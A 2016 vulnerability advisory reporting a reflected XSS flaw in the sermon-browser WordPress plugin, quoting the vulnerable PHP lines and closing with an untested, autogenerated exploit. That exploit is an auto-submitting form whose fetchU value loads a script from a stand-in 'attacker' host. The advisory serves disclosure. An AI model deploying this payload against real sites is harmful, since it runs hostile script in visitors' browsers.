Advisory #: 1252
Title: Reflected XSS in wordpress plugin sermon-browser v0.45.15
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/sermon-browser
Downloads: 86979
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: sermon-browser
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./sermon-browser/sb-includes/ajax.php: 165: <tr class="file <?php echo (++$i % 2 == 0) ? 'alternate' : '' ?>" id="<?php echo $_POST['fetchU'] ? '' : 's' ?>file<?php echo $file->id ?>"> 167: <td id="<?php echo $_POST['fetchU'] ? '' : 's' ?><?php echo $file->id ?>"><?php echo substr($file->name, 0, strrpos($file->name, '.')) ?></td> The variable fetchU appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./sermon-browser/sb-includes/ajax.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/sermon-browser/sb-includes/ajax.php method=post> <input type=hidden name=fetchU value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>